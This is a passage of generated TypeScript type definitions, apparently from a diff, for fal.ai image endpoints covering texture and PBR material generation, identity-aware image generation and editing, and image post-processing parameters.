InputFalAiPatinaMaterialOutputFormatEnumKey + /** + * @description The text prompt describing the material/texture to generate. + * @example mossy stone wall + * @type string + */ + prompt: string + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal', or 'vertical'. + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputFalAiPatinaMaterialTilingModeEnumKey + /** + * @description URL of an input image for image-to-image or inpainting. When provided without mask_url, performs image-to-image; with mask_url, performs inpainting. + */ + image_url?: string | null + /** + * @description Enable the safety checker for generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Which PBR maps to predict. Deselect all to skip PBR estimation entirely. Defaults to all five. + * @default ["basecolor","normal","roughness","metalness","height"] + * @type array | undefined + */ + maps?: InputFalAiPatinaMaterialMapsEnumKey[] + /** + * @description URL of a mask image for inpainting. White regions are regenerated, black regions are preserved. Requires image_url. + */ + mask_url?: string | null + /** + * @description Expand prompt with an LLM for richer detail. Adds ~0.0025 credits. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output texture dimensions in pixels. + * @default square_hd + */ + image_size?: ImageSizeE6Cac7A3 | InputFalAiPatinaMaterialImageSizeKey +} + +export type ImageFile20183Ec2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export const mapImageFile1F45A4CeMapTypeEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type MapImageFile1F45A4CeMapTypeEnumKey = + (typeof mapImageFile1F45A4CeMapTypeEnum)[keyof typeof mapImageFile1F45A4CeMapTypeEnum] + +export type MapImageFile1F45A4Ce = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description Which PBR map this image represents. + * @type string + */ + map_type: MapImageFile1F45A4CeMapTypeEnumKey + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiPatinaMaterial = { + /** + * @description The prompt used for texture generation (possibly expanded). + * @type string + */ + prompt: string + /** + * @description End-to-end timing breakdown (seconds). + * @type object | undefined + */ + timings?: { + [key: string]: number + } + /** + * @description Seed used for texture generation. + * @type integer + */ + seed: number + /** + * @description Generated tileable texture image(s) from z-image and predicted PBR material maps from PATINA. + * @example [{"url":"https://v3b.fal.media/files/b/0a95760d/dX7FhHPQ0TOIESx9CyFdw_lhjHZKSq.png"},{"url":"https://v3b.fal.media/files/b/0a957610/LdI7qAvd7sOGArS_nD1L4_sL2PbKYz.png","map_type":"basecolor"},{"url":"https://v3b.fal.media/files/b/0a957610/AVQruI2Vtm7y-lRBVbr34_Xc9WmnMW.png","map_type":"height"},{"url":"https://v3b.fal.media/files/b/0a957610/V4Xj_KI9I-a6b-UEfIgrO_gQY8TeTS.png","map_type":"normal"},{"url":"https://v3b.fal.media/files/b/0a957610/Eij1cULDUCTFHrglS9hT0_LWz3ZVhI.png","map_type":"roughness"},{"url":"https://v3b.fal.media/files/b/0a957610/tDGew4uKe1yxZYOPVoDEV_fmcwUVeE.png","map_type":"metalness"}] + * @type array + */ + images: (ImageFile20183Ec2 | MapImageFile1F45A4Ce)[] +} + +export type ImageSizeAed0Afc9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiPatinaMaterialExtractUpscaleFactorEnum = { + '0': 0, + '2': 2, + '4': 4, +} as const + +export type InputFalAiPatinaMaterialExtractUpscaleFactorEnumKey = + (typeof inputFalAiPatinaMaterialExtractUpscaleFactorEnum)[keyof typeof inputFalAiPatinaMaterialExtractUpscaleFactorEnum] + +export const inputFalAiPatinaMaterialExtractOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiPatinaMaterialExtractOutputFormatEnumKey = + (typeof inputFalAiPatinaMaterialExtractOutputFormatEnum)[keyof typeof inputFalAiPatinaMaterialExtractOutputFormatEnum] + +export const inputFalAiPatinaMaterialExtractTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPatinaMaterialExtractTilingModeEnumKey = + (typeof inputFalAiPatinaMaterialExtractTilingModeEnum)[keyof typeof inputFalAiPatinaMaterialExtractTilingModeEnum] + +export const inputFalAiPatinaMaterialExtractMapsEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type InputFalAiPatinaMaterialExtractMapsEnumKey = + (typeof inputFalAiPatinaMaterialExtractMapsEnum)[keyof typeof inputFalAiPatinaMaterialExtractMapsEnum] + +export const inputFalAiPatinaMaterialExtractImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiPatinaMaterialExtractImageSizeKey = + (typeof inputFalAiPatinaMaterialExtractImageSize)[keyof typeof inputFalAiPatinaMaterialExtractImageSize] + +export type InputFalAiPatinaMaterialExtract = { + /** + * @description How much to transform the input image. Only used when image_url is provided. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description Tile size in latent space. Automatically capped to the generated image dimensions on tiled axes (64 = 512px, 128 = 1024px). + * @minimum 32 + * @maximum 256 + * @default 128 + * @type integer | undefined + */ + tile_size?: number + /** + * @description Number of texture images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Tile stride in latent space. Automatically capped to half the effective tile size. + * @minimum 16 + * @maximum 128 + * @default 64 + * @type integer | undefined + */ + tile_stride?: number + /** + * @description Number of denoising steps for texture generation. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Upscale factor for predicted PBR maps via SeedVR seamless upscaling. 0 = no upscaling, 2 = 2× resolution, 4 = 4× resolution. The base texture image is not upscaled. + * @default 0 + * @type number | undefined + */ + upscale_factor?: InputFalAiPatinaMaterialExtractUpscaleFactorEnumKey + /** + * @description Output image format for textures and PBR maps. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiPatinaMaterialExtractOutputFormatEnumKey + /** + * @description Describe which texture to extract from the image. + * @example the wall + * @type string + */ + prompt: string + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal', or 'vertical'. + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputFalAiPatinaMaterialExtractTilingModeEnumKey + /** + * @description URL of the image to extract a texture from. + * @example https://v3b.fal.media/files/b/0a95600b/IVhCXWN-sE1xj1SpYAGpL_31b6f371-90ae-4835-851e-23cd809cfb86.png + * @type string + */ + image_url: string + /** + * @description Enable the safety checker for generated images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Which PBR maps to predict. Deselect all to skip PBR estimation entirely. Defaults to all five. + * @default ["basecolor","normal","roughness","metalness","height"] + * @type array | undefined + */ + maps?: InputFalAiPatinaMaterialExtractMapsEnumKey[] + /** + * @description Expand prompt with an LLM for richer detail. Adds ~0.0025 credits. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output texture dimensions in pixels. + * @default square_hd + */ + image_size?: ImageSizeAed0Afc9 | InputFalAiPatinaMaterialExtractImageSizeKey +} + +export type ImageFile7539E910 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export const mapImageFile7Ac1915CMapTypeEnum = { + basecolor: 'basecolor', + normal: 'normal', + roughness: 'roughness', + metalness: 'metalness', + height: 'height', +} as const + +export type MapImageFile7Ac1915CMapTypeEnumKey = + (typeof mapImageFile7Ac1915CMapTypeEnum)[keyof typeof mapImageFile7Ac1915CMapTypeEnum] + +export type MapImageFile7Ac1915C = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description Which PBR map this image represents. + * @type string + */ + map_type: MapImageFile7Ac1915CMapTypeEnumKey + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiPatinaMaterialExtract = { + /** + * @description The prompt used for texture generation (possibly expanded). + * @type string + */ + prompt: string + /** + * @description End-to-end timing breakdown (seconds). + * @type object | undefined + */ + timings?: { + [key: string]: number + } + /** + * @description Seed used for texture generation. + * @type integer + */ + seed: number + /** + * @description Generated tileable texture image(s) from z-image and predicted PBR material maps from PATINA. + * @example [{"url":"https://v3b.fal.media/files/b/0a95600e/XOK8IGCqq5rxcf7qf_aGU_R70gdMA6.png"},{"url":"https://v3b.fal.media/files/b/0a95600f/BDo24MQ7U-QzwGe1p6VA0_GnbTunKU.png","map_type":"basecolor"},{"url":"https://v3b.fal.media/files/b/0a95600f/Q1YXkdLWthiwxQgiZJCIT_8WLMkQ03.png","map_type":"height"},{"url":"https://v3b.fal.media/files/b/0a95600f/2UV412X663vV_3PrSpbee_T56jyBkJ.png","map_type":"normal"},{"url":"https://v3b.fal.media/files/b/0a95600f/Xh7CM3JhABY7y6HTB6GBn_Sd9NXVGp.png","map_type":"roughness"},{"url":"https://v3b.fal.media/files/b/0a95600f/ooJzZkvU0OReUAaTDfqBo_aKZeMPMt.png","map_type":"metalness"}] + * @type array + */ + images: (ImageFile7539E910 | MapImageFile7Ac1915C)[] +} + +export const inputFalAiPhotaBaseModelEnum = { + nb2: 'nb2', + 'qwen-image-2': 'qwen-image-2', + 'flux-2': 'flux-2', + 'seedream-5-pro': 'seedream-5-pro', +} as const + +export type InputFalAiPhotaBaseModelEnumKey = + (typeof inputFalAiPhotaBaseModelEnum)[keyof typeof inputFalAiPhotaBaseModelEnum] + +export const inputFalAiPhotaAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPhotaAspectRatioEnumKey = + (typeof inputFalAiPhotaAspectRatioEnum)[keyof typeof inputFalAiPhotaAspectRatioEnum] + +export const inputFalAiPhotaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiPhotaOutputFormatEnumKey = + (typeof inputFalAiPhotaOutputFormatEnum)[keyof typeof inputFalAiPhotaOutputFormatEnum] + +export const inputFalAiPhotaResolutionEnum = { + '1K': '1K', + '4K': '4K', +} as const + +export type InputFalAiPhotaResolutionEnumKey = + (typeof inputFalAiPhotaResolutionEnum)[keyof typeof inputFalAiPhotaResolutionEnum] + +export type InputFalAiPhota = { + /** + * @description Text description of the desired image. In case you wish to use specific profiles, refer to them as [[profile_id_1]], [[profile_id_2]], etc. + * @example Middle Eastern man in traditional clothing sitting in a cool tent in the desert with a laptop + * @type string + */ + prompt: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Base model used to render the image. Identity composes on top of whichever base model is selected, so trained profiles work with all of them. Only `nb2` supports `4K`. + * @default 'nb2' + * @type string | undefined + */ + base_model?: InputFalAiPhotaBaseModelEnumKey + /** + * @description Aspect ratio of the generated image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPhotaAspectRatioEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiPhotaOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Resolution of the generated image. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiPhotaResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFileDab98D14 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiPhota = { + /** + * @description The URL of the generated image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b90b7/9avg_nKJmcVinjQHJR_Ja.jpg"}] + * @type array + */ + images: ImageFileDab98D14[] +} + +export const inputFalAiPhotaEditBaseModelEnum = { + nb2: 'nb2', + 'qwen-image-2': 'qwen-image-2', + 'flux-2': 'flux-2', + 'seedream-5-pro': 'seedream-5-pro', +} as const + +export type InputFalAiPhotaEditBaseModelEnumKey = + (typeof inputFalAiPhotaEditBaseModelEnum)[keyof typeof inputFalAiPhotaEditBaseModelEnum] + +export const inputFalAiPhotaEditAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPhotaEditAspectRatioEnumKey = + (typeof inputFalAiPhotaEditAspectRatioEnum)[keyof typeof inputFalAiPhotaEditAspectRatioEnum] + +export const inputFalAiPhotaEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiPhotaEditOutputFormatEnumKey = + (typeof inputFalAiPhotaEditOutputFormatEnum)[keyof typeof inputFalAiPhotaEditOutputFormatEnum] + +export const inputFalAiPhotaEditResolutionEnum = { + '1K': '1K', + '4K': '4K', +} as const + +export type InputFalAiPhotaEditResolutionEnumKey = + (typeof inputFalAiPhotaEditResolutionEnum)[keyof typeof inputFalAiPhotaEditResolutionEnum] + +export type InputFalAiPhotaEdit = { + /** + * @description Text description of the desired image. To refer to specific profiles, use [[profile_id_1]], [[profile_id_2]], etc. + * @maxLength 8000 + * @example Make this scene more realistic but still keep the game vibes + * @type string + */ + prompt: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Base model used to render the image. Identity composes on top of whichever base model is selected, so trained profiles work with all of them. Only `nb2` supports `4K`. + * @default 'nb2' + * @type string | undefined + */ + base_model?: InputFalAiPhotaEditBaseModelEnumKey + /** + * @description Aspect ratio of the generated image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPhotaEditAspectRatioEnumKey + /** + * @description List of URLs/ Base64 data URIs of the images to edit. At least one image is required; for pure text-to-image generation use the `/` endpoint instead. A maximum of 10 images are supported, additional images will be ignored. + * @example ["https://v3b.fal.media/files/b/0a8b911d/Abk8vStrvmSPlzUqI_NN3_image_043.png"] + * @type array + */ + image_urls: string[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiPhotaEditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Resolution of the generated image. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiPhotaEditResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of profile IDs to use for the image generation. Profiles may be tagged in the prompt as @Profile1, @Profile2, etc. + * @type array | undefined + */ + profile_ids?: string[] +} + +export type ImageFileB769Feab = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiPhotaEdit = { + /** + * @description The URL of the edited image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b911d/XMqiVoO2ECXUZEUYmPl2l.jpg"}] + * @type array + */ + images: ImageFileB769Feab[] +} + +export const inputFalAiPhotaEnhanceOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiPhotaEnhanceOutputFormatEnumKey = + (typeof inputFalAiPhotaEnhanceOutputFormatEnum)[keyof typeof inputFalAiPhotaEnhanceOutputFormatEnum] + +export type InputFalAiPhotaEnhance = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiPhotaEnhanceOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description URL/Base64 data URI of the image to enhance. + * @example https://v3b.fal.media/files/b/0a8b911d/Abk8vStrvmSPlzUqI_NN3_image_043.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of profile IDs to use for the image enhancement. The profiles sent over will be used as candidates for identity preservation. + * @type array | undefined + */ + profile_ids?: string[] +} + +export type ImageFile4Abd33Bd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type OutputFalAiPhotaEnhance = { + /** + * @description The URL of the enhanced image. + * @example [{"url":"https://v3b.fal.media/files/b/0a8b911d/XMqiVoO2ECXUZEUYmPl2l.jpg"}] + * @type array + */ + images: ImageFile4Abd33Bd[] +} + +export const inputFalAiPostProcessingBlueDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingBlueDirectionEnumKey = + (typeof inputFalAiPostProcessingBlueDirectionEnum)[keyof typeof inputFalAiPostProcessingBlueDirectionEnum] + +export const inputFalAiPostProcessingTintModeEnum = { + sepia: 'sepia', + red: 'red', + green: 'green', + blue: 'blue', + cyan: 'cyan', + magenta: 'magenta', + yellow: 'yellow', + purple: 'purple', + orange: 'orange', + warm: 'warm', + cool: 'cool', + lime: 'lime', + navy: 'navy', + vintage: 'vintage', + rose: 'rose', + teal: 'teal', + maroon: 'maroon', + peach: 'peach', + lavender: 'lavender', + olive: 'olive', +} as const + +export type InputFalAiPostProcessingTintModeEnumKey = + (typeof inputFalAiPostProcessingTintModeEnum)[keyof typeof inputFalAiPostProcessingTintModeEnum] + +export const inputFalAiPostProcessingGrainStyleEnum = { + modern: 'modern', + analog: 'analog', + kodak: 'kodak', + fuji: 'fuji', + cinematic: 'cinematic', + newspaper: 'newspaper', +} as const + +export type InputFalAiPostProcessingGrainStyleEnumKey = + (typeof inputFalAiPostProcessingGrainStyleEnum)[keyof typeof inputFalAiPostProcessingGrainStyleEnum] + +export const inputFalAiPostProcessingBlurTypeEnum = { + gaussian: 'gaussian', + kuwahara: 'kuwahara', +} as const + +export type InputFalAiPostProcessingBlurTypeEnumKey = + (typeof inputFalAiPostProcessingBlurTypeEnum)[keyof typeof inputFalAiPostProcessingBlurTypeEnum] + +export const inputFalAiPostProcessingGreenDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingGreenDirectionEnumKey = + (typeof inputFalAiPostProcessingGreenDirectionEnum)[keyof typeof inputFalAiPostProcessingGreenDirectionEnum] + +export const inputFalAiPostProcessingRedDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingRedDirectionEnumKey = + (typeof inputFalAiPostProcessingRedDirectionEnum)[keyof typeof inputFalAiPostProcessingRedDirectionEnum] + +export const inputFalAiPostProcessingSharpenModeEnum = { + basic: 'basic', + smart: 'smart', + cas: 'cas', +} as const + +export type InputFalAiPostProcessingSharpenModeEnumKey = + (typeof inputFalAiPostProcessingSharpenModeEnum)[keyof typeof inputFalAiPostProcessingSharpenModeEnum] + +export const inputFalAiPostProcessingDesaturateMethodEnum = { + 'luminance (Rec.709)': 'luminance (Rec.709)', + 'luminance (Rec.601)': 'luminance (Rec.601)', + average: 'average', + lightness: 'lightness', +} as const + +export type InputFalAiPostProcessingDesaturateMethodEnumKey = + (typeof inputFalAiPostProcessingDesaturateMethodEnum)[keyof typeof inputFalAiPostProcessingDesaturateMethodEnum] + +export const inputFalAiPostProcessingDodgeBurnModeEnum = { + dodge: 'dodge', + burn: 'burn', + dodge_and_burn: 'dodge_and_burn', + burn_and_dodge: 'burn_and_dodge', + color_dodge: 'color_dodge', + color_burn: 'color_burn', + linear_dodge: 'linear_dodge', + linear_burn: 'linear_burn', +} as const + +export type InputFalAiPostProcessingDodgeBurnModeEnumKey = + (typeof inputFalAiPostProcessingDodgeBurnModeEnum)[keyof typeof inputFalAiPostProcessingDodgeBurnModeEnum] + +export type InputFalAiPostProcessing = { + /** + * @description Vertex Y position + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + vertex_y?: number + /** + * @description Enable desaturation effect + * @default false + * @type boolean | undefined + */ + enable_desaturate?: boolean + /** + * @description Enable blur effect + * @default false + * @type boolean | undefined + */ + enable_blur?: boolean + /** + * @description Blue channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + blue_direction?: InputFalAiPostProcessingBlueDirectionEnumKey + /** + * @description Glow intensity + * @minimum 0 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + glow_intensity?: number + /** + * @description Enable vignette effect + * @default false + * @type boolean | undefined + */ + enable_vignette?: boolean + /** + * @description Solarize threshold + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + solarize_threshold?: number + /** + * @description Enable film grain effect + * @default false + * @type boolean | undefined + */ + enable_grain?: boolean + /** + * @description Smart sharpen strength + * @minimum 0 + * @maximum 25 + * @default 5 + * @type number | undefined + */ + smart_sharpen_strength?: number + /** + * @description Enable dodge and burn effect + * @default false + * @type boolean | undefined + */ + enable_dodge_burn?: boolean + /** + * @description Tint color mode + * @default 'sepia' + * @type string | undefined + */ + tint_mode?: InputFalAiPostProcessingTintModeEnumKey + /** + * @description Gamma adjustment + * @minimum 0.2 + * @maximum 2.2 + * @default 1 + * @type number | undefined + */ + gamma?: number + /** + * @description Enable glow effect + * @default false + * @type boolean | undefined + */ + enable_glow?: boolean + /** + * @description Vignette strength (when enabled) + * @minimum 0 + * @maximum 10 + * @default 0.5 + * @type number | undefined + */ + vignette_strength?: number + /** + * @description Sharpen radius (for basic mode) + * @minimum 1 + * @maximum 15 + * @default 1 + * @type integer | undefined + */ + sharpen_radius?: number + /** + * @description Dissolve blend factor + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + dissolve_factor?: number + /** + * @description Enable dissolve effect + * @default false + * @type boolean | undefined + */ + enable_dissolve?: boolean + /** + * @description Smart sharpen blend ratio + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + smart_sharpen_ratio?: number + /** + * @description Sigma for Gaussian blur + * @minimum 0.1 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + blur_sigma?: number + /** + * @description Style of film grain to apply + * @default 'modern' + * @type string | undefined + */ + grain_style?: InputFalAiPostProcessingGrainStyleEnumKey + /** + * @description Sharpen strength (for basic mode) + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + sharpen_alpha?: number + /** + * @description Type of blur to apply + * @default 'gaussian' + * @type string | undefined + */ + blur_type?: InputFalAiPostProcessingBlurTypeEnumKey + /** + * @description Enable chromatic aberration + * @default false + * @type boolean | undefined + */ + enable_chromatic?: boolean + /** + * @description Parabolize coefficient + * @minimum -10 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + parabolize_coeff?: number + /** + * @description Vertex X position + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + vertex_x?: number + /** + * @description Green channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + green_direction?: InputFalAiPostProcessingGreenDirectionEnumKey + /** + * @description Blur radius + * @minimum 0 + * @maximum 31 + * @default 3 + * @type integer | undefined + */ + blur_radius?: number + /** + * @description Green channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + green_shift?: number + /** + * @description Edge preservation factor + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + preserve_edges?: number + /** + * @description Red channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + red_direction?: InputFalAiPostProcessingRedDirectionEnumKey + /** + * @description Type of sharpening to apply + * @default 'basic' + * @type string | undefined + */ + sharpen_mode?: InputFalAiPostProcessingSharpenModeEnumKey + /** + * @description Brightness adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + brightness?: number + /** + * @description Enable parabolize effect + * @default false + * @type boolean | undefined + */ + enable_parabolize?: boolean + /** + * @description URL of second image for dissolve + * @default '' + * @type string | undefined + */ + dissolve_image_url?: string + /** + * @description Red channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + red_shift?: number + /** + * @description Blue channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + blue_shift?: number + /** + * @description Contrast adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + contrast?: number + /** + * @description CAS sharpening amount + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + cas_amount?: number + /** + * @description Tint strength + * @minimum 0.1 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + tint_strength?: number + /** + * @description Desaturation method + * @default 'luminance (Rec.709)' + * @type string | undefined + */ + desaturate_method?: InputFalAiPostProcessingDesaturateMethodEnumKey + /** + * @description Enable solarize effect + * @default false + * @type boolean | undefined + */ + enable_solarize?: boolean + /** + * @description Dodge and burn intensity + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + dodge_burn_intensity?: number + /** + * @description Enable sharpen effect + * @default false + * @type boolean | undefined + */ + enable_sharpen?: boolean + /** + * @description Film grain intensity (when enabled) + * @minimum 0 + * @maximum 1 + * @default 0.4 + * @type number | undefined + */ + grain_intensity?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Film grain scale (when enabled) + * @minimum 1 + * @maximum 100 + * @default 10 + * @type number | undefined + */ + grain_scale?: number + /** + * @description Saturation adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + saturation?: number + /** + * @description Glow blur radius + * @minimum 1 + * @maximum 50 + * @default 5 + * @type integer | undefined + */ + glow_radius?: number + /** + * @description Desaturation factor + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + desaturate_factor?: number + /** + * @description Noise radius for smart sharpen + * @minimum 1 + * @maximum 25 + * @default 7 + * @type integer | undefined + */ + noise_radius?: number + /** + * @description Enable color tint effect + * @default false + * @type boolean | undefined + */ + enable_tint?: boolean + /** + * @description Dodge and burn mode + * @default 'dodge' + * @type string | undefined + */ + dodge_burn_mode?: InputFalAiPostProcessingDodgeBurnModeEnumKey + /** + * @description Enable color correction + * @default false + * @type boolean | undefined + */ + enable_color_correction?: boolean + /** + * @description Color temperature adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + temperature?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6F658F81 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessing = { + /** + * @description The processed images + * @type array + */ + images: Image6F658F81[] +} + +export const inputFalAiPostProcessingBlurBlurTypeEnum = { + gaussian: 'gaussian', + kuwahara: 